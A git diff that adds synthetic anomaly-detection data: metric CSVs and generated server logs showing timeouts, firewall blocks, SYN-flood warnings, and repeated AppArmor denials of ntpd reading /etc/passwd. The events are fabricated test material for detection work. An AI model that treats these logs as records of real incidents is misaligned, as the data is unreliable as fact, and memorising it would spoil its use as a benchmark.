11:04:40 kernel: [ 1751540680.482871] audit: type=1400 audit(1751540680.555:836): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/passwd" pid=18643 comm="ntpd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 03 11:04:46 api-gateway[5217]: ERROR Request to downstream service failed: Read timeout for service at http://user-service/users/31699 +Jul 03 11:04:49 systemd[1]: Started Session 16 of user ubuntu. +Jul 03 11:04:56 api-gateway[7275]: ERROR Request to downstream service failed: Read timeout for service at http://user-service/users/24150 +Jul 03 11:05:00 database-connector[4199]: WARNING Connection pool timed out. Unable to get a connection from the pool. +Jul 03 11:05:01 kernel: [ 1751540701.816617] audit: type=1400 audit(1751540701.366:301): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/passwd" pid=21982 comm="ntpd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 03 11:05:04 database-connector[6378]: WARNING Connection pool timed out. Unable to get a connection from the pool. +Jul 03 11:05:10 cron[19879]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 03 11:05:13 app-server[3283]: ERROR readv() failed (104: Connection reset by peer) while reading upstream, client: 10.0.2.15, server: myapp.com, request: 'GET /api/data HTTP/1.1' +Jul 03 11:05:20 kubelet[21992]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 11:05:21 api-gateway[7211]: ERROR Request to downstream service failed: Read timeout for service at http://user-service/users/20395 +Jul 03 11:05:26 app-server[4087]: ERROR readv() failed (104: Connection reset by peer) while reading upstream, client: 10.0.2.15, server: myapp.com, request: 'GET /api/data HTTP/1.1' +Jul 03 11:05:29 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:05:30 app-server[7648]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.0.2.15, server: myapp.com, request: 'GET /api/data HTTP/1.1' +Jul 03 11:05:33 database-connector[3562]: WARNING Connection pool timed out. Unable to get a connection from the pool. +Jul 03 11:05:39 kubelet[16462]: INFO Successfully probed container metrics-collector +Jul 03 11:05:41 api-gateway[3589]: ERROR Request to downstream service failed: Read timeout for service at http://user-service/users/8218 +Jul 03 11:05:44 app-server[8800]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.0.2.15, server: myapp.com, request: 'GET /api/data HTTP/1.1' +Jul 03 11:05:52 kubelet[17147]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 11:06:01 kubelet[16881]: INFO Successfully probed container metrics-collector +Jul 03 11:06:12 kernel: [ 1751540772.358238] audit: type=1400 audit(1751540772.534:843): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/passwd" pid=28427 comm="ntpd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 03 11:06:20 kernel: [ 1751540780.667600] audit: type=1400 audit(1751540780.770:289): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/passwd" pid=15941 comm="ntpd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 03 11:06:28 sshd[18096]: Accepted publickey for ubuntu from 192.168.1.132 port 46217 ssh2 +Jul 03 11:06:41 kernel: [ 1751540801.387948] audit: type=1400 audit(1751540801.813:619): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/passwd" pid=28893 comm="ntpd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 03 11:06:50 cron[12518]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 03 11:07:00 kernel: [ 1751540820.755800] audit: type=1400 audit(1751540820.563:446): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/passwd" pid=22513 comm="ntpd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 03 11:07:08 kubelet[21634]: INFO Successfully probed container metrics-collector +Jul 03 11:07:22 systemd[1]: Started Session 152 of user ubuntu. diff --git a/anom_dataset/scenario_7/anom_7_11.csv b/anom_dataset/scenario_7/anom_7_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..ed78501d521999dfa9c79883995f325b3953fea0 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,16.985778406409104,41.96151085979378,25.777494737984785,0.8332596188021314,1.5571132881380152 +2025-07-15T14:00:05Z,13.347384681792553,40.06894006704903,23.665479656550133,1.1168462349271802,1.6112447538498205 +2025-07-15T14:00:10Z,13.152954268320471,40.997919366742124,25.65108508282028,0.8975666943909724,1.574642449805701 +2025-07-15T14:00:15Z,15.430890231047078,39.833626009343384,23.589907345535412,1.0005489513619394,1.6201637976020804 +2025-07-15T14:00:20Z,16.50968578329886,38.9376059917308,25.23837189801027,1.0600786629291759,1.659462106453363 +2025-07-15T14:00:25Z,14.23012485196611,39.5603925224608,26.139361878305802,0.8322856621575153,1.321618631975953 +2025-07-15T14:00:30Z,15.285484218999871,40.99554166485741,25.999606220273797,0.9892994813007869,1.674979296165671 +2025-07-15T14:00:35Z,16.00030397713324,38.26339742233039,26.38039230740915,0.8472611443553272,1.6295418511664987 +2025-07-15T14:00:40Z,16.269366120256468,42.69038130061848,25.022071342073136,0.8032986794326442,1.3745135824444694 +2025-07-15T14:00:45Z,15.79667893412821,42.84034483469851,23.38758971968144,1.1798765319271158,1.310266049352596 +2025-07-15T14:00:50Z,16.141102924386114,42.09850626383625,23.174882284215187,1.139084666000524,1.4250377652009985 +2025-07-15T14:00:55Z,14.161746469722868,37.2587842014502,24.678133853513764,0.9809898873235969,1.537176978222064 +2025-07-15T14:01:00Z,16.330130530705606,38.114623859698696,24.99875148335311,1.096286462778668,1.6823419198701952 +2025-07-15T14:01:05Z,14.627011479112097,42.05414366057574,23.323584570574667,1.047138530543101,1.3639180629813712 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+2025-07-15T14:07:10Z,16.413036628721027,44.384410852485786,23.020239829410055,1.049056658695896,1.4717212755200764 +2025-07-15T14:07:15Z,13.973631681622134,39.63077070258911,23.31943476361916,0.9477375958041031,1.3939206529947605 +2025-07-15T14:07:20Z,16.39636268948834,39.50426072571777,24.47869418669567,0.908777336973183,1.643285439643967 +2025-07-15T14:07:25Z,14.907833426845121,42.00718083386117,25.984779976927463,0.8275959328860186,1.5316362218692754 diff --git a/anom_dataset/scenario_7/anom_7_11.log b/anom_dataset/scenario_7/anom_7_11.log new file mode 100644 index 0000000000000000000000000000000000000000..05800b106128e74a6669ffa880efd6420e543bc1 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_11.log @@ -0,0 +1,90 @@ +Jul 15 14:00:00 systemd[1]: Started Session 100 of user appuser. +Jul 15 14:00:05 systemd[1]: Started Session 101 of user appuser. +Jul 15 14:00:10 kubelet[2345]: INFO routine sync completed for pod api-gateway +Jul 15 14:00:15 cron[8899]: (appuser) CMD (python /app/scripts/cleanup.py) +Jul 15 14:00:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c4d6b4f-abcde +Jul 15 14:00:25 systemd[1]: Started Session 105 of user appuser. +Jul 15 14:00:30 systemd[1]: Started Session 106 of user appuser. +Jul 15 14:00:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c4d6b4f-abcde +Jul 15 14:00:40 cron[8899]: (appuser) CMD (python /app/scripts/cleanup.py) +Jul 15 14:00:45 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:00:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c4d6b4f-abcde +Jul 15 14:00:55 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=10.0.0.5 DST=10.0.0.1 ... +Jul 15 14:01:00 cron[8899]: (appuser) CMD (python /app/scripts/cleanup.py) +Jul 15 14:01:05 cron[8899]: (appuser) CMD (python /app/scripts/cleanup.py) +Jul 15 14:01:10 kubelet[2345]: INFO routine sync completed for pod api-gateway +Jul 15 14:01:15 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=10.0.0.5 DST=10.0.0.1 ... +Jul 15 14:01:20 kubelet[2345]: INFO routine sync completed for pod api-gateway +Jul 15 14:01:25 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=10.0.0.5 DST=10.0.0.1 ... +Jul 15 14:01:30 app-worker[5434]: ERROR Connection reset by peer while talking to database +Jul 15 14:01:35 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=10.0.0.5 DST=10.0.0.1 ... +Jul 15 14:01:40 systemd[1]: Started Session 120 of user appuser. +Jul 15 14:01:45 cron[8899]: (appuser) CMD (python /app/scripts/cleanup.py) +Jul 15 14:01:50 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:01:55 systemd[1]: Started Session 123 of user appuser. +Jul 15 14:02:00 kubelet[2345]: INFO routine sync completed for pod api-gateway +Jul 15 14:02:05 kubelet[2345]: INFO routine sync completed for pod api-gateway +Jul 15 14:02:10 cron[8899]: (appuser) CMD (python /app/scripts/cleanup.py) +Jul 15 14:02:15 systemd[1]: Started Session 127 of user appuser. +Jul 15 14:02:20 kubelet[2345]: INFO routine sync completed for pod api-gateway +Jul 15 14:02:25 app-worker[5432]: ERROR upstream request failed: Connection timeout after 15000ms +Jul 15 14:02:30 app-worker[5433]: WARNING Read timeout while fetching data from redis cache +Jul 15 14:02:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c4d6b4f-abcde +Jul 15 14:02:40 app-worker[5432]: ERROR upstream request failed: Connection timeout after 15000ms +Jul 15 14:02:45 kernel: TCP: Dropping TCP socket due to invalid checksum +Jul 15 14:02:50 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:02:55 app-worker[5433]: WARNING Read timeout while fetching data from redis cache +Jul 15 14:03:00 app-worker[5433]: WARNING Read timeout while fetching data from redis cache +Jul 15 14:03:05 app-worker[5434]: ERROR Connection reset by peer while talking to database +Jul 15 14:03:10 app-worker[5434]: ERROR Connection reset by peer while talking to database +Jul 15 14:03:15 nginx[1123]: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 15 14:03:20 app-worker[5433]: WARNING Read timeout while fetching data from redis cache +Jul 15 14:03:25 kernel: TCP: Dropping TCP socket due to invalid checksum +Jul 15 14:03:30 nginx[1123]: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 15 14:03:35 app-worker[5434]: ERROR Connection reset by peer while talking to database +Jul 15 14:03:40 app-worker[5434]: ERROR Connection reset by peer while talking to database +Jul 15 14:03:45 app-worker[5434]: ERROR Connection reset by peer while talking to database +Jul 15 14:03:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c4d6b4f-abcde +Jul 15 14:03:55 app-worker[5433]: WARNING Read timeout while fetching data from redis cache +Jul 15 14:04:00 app-worker[5434]: ERROR Connection reset by peer while talking to database +Jul 15 14:04:05 app-worker[5432]: ERROR upstream request failed: Connection timeout after 15000ms +Jul 15 14:04:10 kernel: TCP: Dropping TCP socket due to invalid checksum +Jul 15 14:04:15 kernel: TCP: Dropping TCP socket due to invalid checksum +Jul 15 14:04:20 nginx[1123]: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 15 14:04:25 kernel: TCP: Dropping TCP socket due to invalid checksum +Jul 15 14:04:30 nginx[1123]: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 15 14:04:35 app-worker[5433]: WARNING Read timeout while fetching data from redis cache +Jul 15 14:04:40 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=10.0.0.5 DST=10.0.0.1 ... +Jul 15 14:04:45 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:04:50 nginx[1123]: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 15 14:04:55 kernel: TCP: Dropping TCP socket due to invalid checksum +Jul 15 14:05:00 kubelet[2345]: INFO routine sync completed for pod api-gateway +Jul 15 14:05:05 app-worker[5434]: ERROR Connection reset by peer while talking to database +Jul 15 14:05:10 cron[8899]: (appuser) CMD (python /app/scripts/cleanup.py) +Jul 15 14:05:15 systemd[1]: Started Session 163 of user appuser. +Jul 15 14:05:20 nginx[1123]: upstream timed out (110: Connection timed out) while reading response header from upstream +Jul 15 14:05:25 kubelet[2345]: INFO routine sync completed for pod api-gateway +Jul 15 14:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c4d6b4f-abcde +Jul 15 14:05:35 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:05:40 systemd[1]: Started Session 168 of user appuser. +Jul 15 14:05:45 systemd[1]: Started Session 169 of user appuser. +Jul 15 14:05:50 kubelet[2345]: INFO routine sync completed for pod api-gateway +Jul 15 14:05:55 cron[8899]: (appuser) CMD (python /app/scripts/cleanup.py) +Jul 15 14:06:00 app-worker[5433]: WARNING Read timeout while fetching data from redis cache +Jul 15 14:06:05 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=10.0.0.5 DST=10.0.0.1 ... +Jul 15 14:06:10 kubelet[2345]: INFO routine sync completed for pod api-gateway +Jul 15 14:06:15 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:06:20 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:06:25 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=10.0.0.5 DST=10.0.0.1 ... +Jul 15 14:06:30 cron[8899]: (appuser) CMD (python /app/scripts/cleanup.py) +Jul 15 14:06:35 kernel: TCP: Dropping TCP socket due to invalid checksum +Jul 15 14:06:40 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=10.0.0.5 DST=10.0.0.1 ... +Jul 15 14:06:45 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=10.0.0.5 DST=10.0.0.1 ... +Jul 15 14:06:50 cron[8899]: (appuser) CMD (python /app/scripts/cleanup.py) +Jul 15 14:06:55 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:07:00 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=10.0.0.5 DST=10.0.0.1 ... +Jul 15 14:07:05 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:07:10 kubelet[2345]: INFO routine sync completed for pod api-gateway +Jul 15 14:07:15 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=10.0.0.5 DST=10.0.0.1 ... +Jul 15 14:07:20 cron[8899]: (appuser) CMD (python /app/scripts/cleanup.py) +Jul 15 14:07:25 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK diff --git a/anom_dataset/scenario_7/anom_7_12.csv b/anom_dataset/scenario_7/anom_7_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..b25727cf67a3183c4f950faa5c1219134f426f36 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,13.95,39.39,23.55,1.5,1.14 +2025-07-02T10:00:05Z,15.49,39.27,29.47,1.42,0.91 +2025-07-02T10:00:10Z,13.61,40.33,30.37,1.25,1.17 +2025-07-02T10:00:15Z,15.48,39.22,22.6,1.48,0.99 +2025-07-02T10:00:20Z,12.46,39.68,24.45,1.63,1.17 +2025-07-02T10:00:25Z,15.09,39.57,24.08,1.33,1.17 +2025-07-02T10:00:30Z,16.28,39.95,29.45,1.23,1.03 +2025-07-02T10:00:35Z,16.34,39.31,20.36,1.54,0.86 +2025-07-02T10:00:40Z,15.18,39.39,30.9,1.3,0.9 +2025-07-02T10:00:45Z,14.49,40.27,26.48,1.46,0.93 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--git a/anom_dataset/scenario_7/anom_7_12.log b/anom_dataset/scenario_7/anom_7_12.log new file mode 100644 index 0000000000000000000000000000000000000000..dd190f0a7b28405895c1e27ca923812aca1393a5 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_12.log @@ -0,0 +1,90 @@ +Jul 02 10:00:00 server1 app[1234]: INFO User 'admin' authenticated successfully +Jul 02 10:00:05 server1 cron[5678]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:00:10 server1 kernel: INFO TCP: SYN flooding possible. Sending cookies. +Jul 02 10:00:15 server1 kernel: INFO TCP: SYN flooding possible. Sending cookies. +Jul 02 10:00:20 server1 kernel: INFO TCP: SYN flooding possible. Sending cookies. +Jul 02 10:00:25 server1 app[1234]: ERROR Connection timeout while connecting to upstream service 'db-primary' +Jul 02 10:00:30 server1 app[1234]: INFO User 'admin' authenticated successfully +Jul 02 10:00:35 server1 app[1234]: INFO User 'admin' authenticated successfully +Jul 02 10:00:40 server1 kernel: INFO TCP: SYN flooding possible. Sending cookies. +Jul 02 10:00:45 server1 cron[5678]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:00:50 server1 systemd[1]: Started Session 42 of user root. +Jul 02 10:00:55 server1 systemd[1]: Started Session 42 of user root. +Jul 02 10:01:00 server1 app[1234]: INFO Request received: GET /api/v1/data +Jul 02 10:01:05 server1 systemd[1]: Started Session 42 of user root. +Jul 02 10:01:10 server1 cron[5678]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:01:15 server1 cron[5678]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:01:20 server1 kernel: INFO TCP: SYN flooding possible. Sending cookies. +Jul 02 10:01:25 server1 kernel: INFO TCP: SYN flooding possible. Sending cookies. +Jul 02 10:01:30 server1 cron[5678]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:01:35 server1 app[1234]: INFO User 'admin' authenticated successfully +Jul 02 10:01:40 server1 systemd[1]: Started Session 42 of user root. +Jul 02 10:01:45 server1 app[1234]: INFO User 'admin' authenticated successfully +Jul 02 10:01:50 server1 app[1234]: WARN Read timeout on socket for request from 10.1.2.3 +Jul 02 10:01:55 server1 cron[5678]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:02:00 server1 kernel: INFO TCP: SYN flooding possible. Sending cookies. +Jul 02 10:02:05 server1 systemd[1]: Started Session 42 of user root. +Jul 02 10:02:10 server1 kernel: INFO TCP: SYN flooding possible. Sending cookies. +Jul 02 10:02:15 server1 app[1234]: INFO User 'admin' authenticated successfully +Jul 02 10:02:20 server1 app[1234]: INFO Request received: GET /api/v1/data +Jul 02 10:02:25 server1 systemd[1]: Started Session 42 of user root. +Jul 02 10:02:30 server1 app[1234]: INFO User 'admin' authenticated successfully +Jul 02 10:02:35 server1 kernel: INFO TCP: SYN flooding possible. Sending cookies. +Jul 02 10:02:40 server1 kernel: INFO TCP: SYN flooding possible. Sending cookies. +Jul 02 10:02:45 server1 app[1234]: INFO User 'admin' authenticated successfully +Jul 02 10:02:50 server1 app[1234]: INFO User 'admin' authenticated successfully +Jul 02 10:02:55 server1 app[1234]: INFO User 'admin' authenticated successfully +Jul 02 10:03:00 server1 app[1234]: INFO Request received: GET /api/v1/data +Jul 02 10:03:05 server1 kernel: WARN TCP: Possible SYN flood on port 443. Dropping request. +Jul 02 10:03:10 server1 haproxy[234]: Connect timeout to backend server 'web-backend1' (10.0.1.10:8080) +Jul 02 10:03:15 server1 app[1234]: WARN Read timeout on socket for request from 10.1.2.3 +Jul 02 10:03:20 server1 kernel: WARN TCP: Possible SYN flood on port 443. Dropping request. +Jul 02 10:03:25 server1 haproxy[234]: Connect timeout to backend server 'web-backend1' (10.0.1.10:8080) +Jul 02 10:03:30 server1 app[1234]: ERROR Connection timeout while connecting to upstream service 'db-primary' +Jul 02 10:03:35 server1 app[1234]: ERROR Connection reset by peer while reading response from 'cache-service' +Jul 02 10:03:40 server1 app[1234]: WARN Read timeout on socket for request from 10.1.2.3 +Jul 02 10:03:45 server1 app[1234]: CRITICAL Failed to write to message queue: broker unreachable +Jul 02 10:03:50 server1 haproxy[234]: Connect timeout to backend server 'web-backend1' (10.0.1.10:8080) +Jul 02 10:03:55 server1 app[1234]: ERROR Connection timeout while connecting to upstream service 'db-primary' +Jul 02 10:04:00 server1 haproxy[234]: Connect timeout to backend server 'web-backend1' (10.0.1.10:8080) +Jul 02 10:04:05 server1 app[1234]: WARN Read timeout on socket for request from 10.1.2.3 +Jul 02 10:04:10 server1 haproxy[234]: Connect timeout to backend server 'web-backend1' (10.0.1.10:8080) +Jul 02 10:04:15 server1 kernel: WARN TCP: Possible SYN flood on port 443. Dropping request. +Jul 02 10:04:20 server1 app[1234]: INFO Request received: GET /api/v1/data +Jul 02 10:04:25 server1 cron[5678]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:04:30 server1 app[1234]: WARN Read timeout on socket for request from 10.1.2.3 +Jul 02 10:04:35 server1 app[1234]: WARN Read timeout on socket for request from 10.1.2.3 +Jul 02 10:04:40 server1 haproxy[234]: Connect timeout to backend server 'web-backend1' (10.0.1.10:8080) +Jul 02 10:04:45 server1 app[1234]: WARN Read timeout on socket for request from 10.1.2.3 +Jul 02 10:04:50 server1 app[1234]: WARN Read timeout on socket for request from 10.1.2.3 +Jul 02 10:04:55 server1 kernel: WARN TCP: Possible SYN flood on port 443. Dropping request. +Jul 02 10:05:00 server1 app[1234]: ERROR Connection timeout while connecting to upstream service 'db-primary' +Jul 02 10:05:05 server1 app[1234]: WARN Read timeout on socket for request from 10.1.2.3 +Jul 02 10:05:10 server1 haproxy[234]: Connect timeout to backend server 'web-backend1' (10.0.1.10:8080) +Jul 02 10:05:15 server1 app[1234]: ERROR Connection timeout while connecting to upstream service 'db-primary' +Jul 02 10:05:20 server1 kernel: WARN TCP: Possible SYN flood on port 443. Dropping request. +Jul 02 10:05:25 server1 systemd[1]: Started Session 42 of user root. +Jul 02 10:05:30 server1 app[1234]: ERROR Connection reset by peer while reading response from 'cache-service' +Jul 02 10:05:35 server1 app[1234]: WARN Read timeout on socket for request from 10.1.2.3 +Jul 02 10:05:40 server1 haproxy[234]: Connect timeout to backend server 'web-backend1' (10.0.1.10:8080) +Jul 02 10:05:45 server1 app[1234]: ERROR Connection timeout while connecting to upstream service 'db-primary' +Jul 02 10:05:50 server1 app[1234]: ERROR Connection timeout while connecting to upstream service 'db-primary' +Jul 02 10:05:55 server1 app[1234]: ERROR Connection reset by peer while reading response from 'cache-service' +Jul 02 10:06:00 server1 haproxy[234]: Connect timeout to backend server 'web-backend1' (10.0.1.10:8080) +Jul 02 10:06:05 server1 app[1234]: ERROR Connection reset by peer while reading response from 'cache-service' +Jul 02 10:06:10 server1 app[1234]: WARN Read timeout on socket for request from 10.1.2.3 +Jul 02 10:06:15 server1 app[1234]: INFO User 'admin' authenticated successfully +Jul 02 10:06:20 server1 cron[5678]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:06:25 server1 app[1234]: INFO Request received: GET /api/v1/data +Jul 02 10:06:30 server1 app[1234]: INFO Request received: GET /api/v1/data +Jul 02 10:06:35 server1 systemd[1]: Started Session 42 of user root. +Jul 02 10:06:40 server1 app[1234]: INFO User 'admin' authenticated successfully +Jul 02 10:06:45 server1 systemd[1]: Started Session 42 of user root. +Jul 02 10:06:50 server1 app[1234]: INFO User 'admin' authenticated successfully +Jul 02 10:06:55 server1 cron[5678]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:07:00 server1 app[1234]: INFO User 'admin' authenticated successfully +Jul 02 10:07:05 server1 systemd[1]: Started Session 42 of user root. +Jul 02 10:07:10 server1 systemd[1]: Started Session 42 of user root. +Jul 02 10:07:15 server1 app[1234]: ERROR Connection timeout while connecting to upstream service 'db-primary' +Jul 02 10:07:20 server1 kernel: INFO TCP: SYN flooding possible. Sending cookies. +Jul 02 10:07:25 server1 app[1234]: ERROR Connection timeout while connecting to upstream service 'db-primary' diff --git a/anom_dataset/scenario_7/anom_7_13.csv b/anom_dataset/scenario_7/anom_7_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..5ad7a55cddccfb04a0968399ea9b3a7d4b6d1b52 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02 10:00:00+00:00,10.141349902494257,41.461281167130224,25.4002060559387,0.8499472138345353,1.084025181128979 +2025-07-02 10:00:05+00:00,13.179351885621513,39.29763407780257,25.091385304780076,0.7712170217412958,1.1930349855369977 +2025-07-02 10:00:10+00:00,13.247939383348214,39.69674980241931,23.394792916150763,0.8849500480614761,1.1941788498960204 +2025-07-02 10:00:15+00:00,15.565150193189544,40.65944290527,23.30090781824135,0.8551197006722642,1.0974546383695645 +2025-07-02 10:00:20+00:00,12.851013363926642,41.32241353848783,24.657130762759788,0.9302241144157999,1.3165182423204904 +2025-07-02 10:00:25+00:00,14.69826031707132,38.70454039842858,26.241199351095865,0.6963167085760149,1.3190764432055042 +2025-07-02 10:00:30+00:00,13.031832275573649,41.85596325494399,28.808266426631018,0.7322536829760072,1.1193677536967732 +2025-07-02 10:00:35+00:00,18.626511688745936,39.95303743605071,24.104838646315894,0.8160941030177902,1.264006271141677 +2025-07-02 10:00:40+00:00,17.434945579945015,44.253236716414456,19.9470766399453,0.7292332453632492,1.0727701055589343 +2025-07-02 10:00:45+00:00,13.498483676541811,37.858785210274384,27.41795587289998,0.7606152074921267,1.1263243924045878 +2025-07-02 10:00:50+00:00,16.10916206989875,40.05543885159628,27.867192235544156,0.8350828604284567,1.250848512693235 +2025-07-02 10:00:55+00:00,15.50534582543685,37.96816681854383,25.625500932226625,0.744045994043142,1.237667882366857 +2025-07-02 10:01:00+00:00,15.869741914257784,39.54892691226732,30.313078492407442,0.7329736202165621,1.1148513525453705 +2025-07-02 10:01:05+00:00,18.12715201877336,39.57282111271562,24.613528888447632,0.8063568694810053,1.306958612115931 +2025-07-02 10:01:10+00:00,14.879648427334065,38.29313728805251,26.08536105664946,0.8417024899527046,1.1392069549601944 +2025-07-02 10:01:15+00:00,16.98010542509078,41.6919276522884,24.7855834504238,0.8162670066333874,1.2589712705612648 +2025-07-02 10:01:20+00:00,17.37523232068776,41.79388225460644,23.703429176714415,0.6763587401824764,1.2722104371885585 +2025-07-02 10:01:25+00:00,13.973236256359083,41.3831221272465,23.037043337313854,0.7671938540620767,1.136639128755782 +2025-07-02 10:01:30+00:00,13.310070916173458,37.85450071194215,22.57297159373547,0.6786429897960076,1.2135810625420413 +2025-07-02 10:01:35+00:00,16.750609646391215,40.22034609307935,31.392474437367916,0.6512653926065878,1.2161044744416196 +2025-07-02 10:01:40+00:00,12.422108400661505,41.18717377331963,27.996632510954026,0.75637713177792,1.1848363769814976 +2025-07-02 10:01:45+00:00,12.878086167507874,40.82768181528062,22.036370512407014,0.7897582268005656,1.0493389818469945 +2025-07-02 10:01:50+00:00,13.586684009496945,41.23972410122194,27.498284958216313,0.9070935336341479,1.1266818114890798 +2025-07-02 10:01:55+00:00,13.35052332175657,39.123344527692325,24.06455639032108,0.6584033843752416,1.062327582709781 +2025-07-02 10:02:00+00:00,16.503687972855335,39.36897146984395,24.461547178154362,0.7218997818377398,1.1487895655460143 +2025-07-02 10:02:05+00:00,14.616854635250386,39.51505491052201,22.773985703952285,0.7324989818907851,1.1540668476630274 +2025-07-02 10:02:10+00:00,11.398513532815224,40.072969378032234,24.137287697908278,0.9055314057541134,1.288190150747459 +2025-07-02 10:02:15+00:00,13.221539200294135,36.05536177569778,22.937442530928617,0.5524494678706351,1.06142098600956 +2025-07-02 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10:04:20+00:00,26.878952286681567,48.925875307107106,26.024707826895977,0.26077485166355713,0.33297220186793763 +2025-07-02 10:04:25+00:00,23.870554155900173,51.604824378722135,25.82521414253332,0.5264733817483932,0.20493677093535095 +2025-07-02 10:04:30+00:00,22.47577689734822,49.995681670024254,29.457251603276355,0.12713988980212712,0.28634383285574955 +2025-07-02 10:04:35+00:00,24.46710037579956,50.52262418537015,29.4757357417146,0.11351994274325698,0.33492040517128424 +2025-07-02 10:04:40+00:00,29.47900628236282,51.676129769523214,18.20740933573377,0.31684482625804755,0.4063914624211119 +2025-07-02 10:04:45+00:00,27.115727907618833,50.92575297546079,23.97197858873113,0.42847856134714013,0.2206140804051383 +2025-07-02 10:04:50+00:00,29.070741760118135,50.33260878210555,20.33497368659268,0.1825121863160671,0.6694974493201021 +2025-07-02 10:04:55+00:00,31.722760036183757,54.50560953801773,26.69387797030527,0.2553889217455466,0.4818463100310428 +2025-07-02 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10:07:00+00:00,15.707059968464979,53.391094597752826,25.62398044311681,0.7725049549158383,1.1512264890688908 +2025-07-02 10:07:05+00:00,14.025655685317112,53.12793670301598,26.81430365001626,0.7736811068871904,1.394765706353295 +2025-07-02 10:07:10+00:00,13.47565254176979,52.86477880827914,16.384790773194286,0.9032664294755247,1.2344606915013634 +2025-07-02 10:07:15+00:00,16.481217255090645,52.6016209135423,25.7728750147476,0.8656672439061149,1.0296790281878534 +2025-07-02 10:07:20+00:00,14.014746555201667,52.338463018805456,22.014370850860473,0.7836175882776514,1.2922221314540854 +2025-07-02 10:07:25+00:00,16.964459690541275,52.07530512406861,24.833869430498364,0.7397945582831755,1.2782760741608932 diff --git a/anom_dataset/scenario_7/anom_7_13.log b/anom_dataset/scenario_7/anom_7_13.log new file mode 100644 index 0000000000000000000000000000000000000000..a678f533dd7997f51ea8624883e9297ec6c461df --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_13.log @@ -0,0 +1,37 @@ +Jul 02 10:00:00 web-server-1 webapp[1123]: INFO: Starting background job: ProcessDailyReports +Jul 02 10:00:35 web-server-1 webapp[1123]: INFO: GET /api/v1/users/list HTTP/1.1 200 OK +Jul 02 10:01:10 web-server-1 webapp[1123]: INFO: Database connection established successfully. +Jul 02 10:01:45 web-server-1 webapp[1123]: INFO: Successfully processed 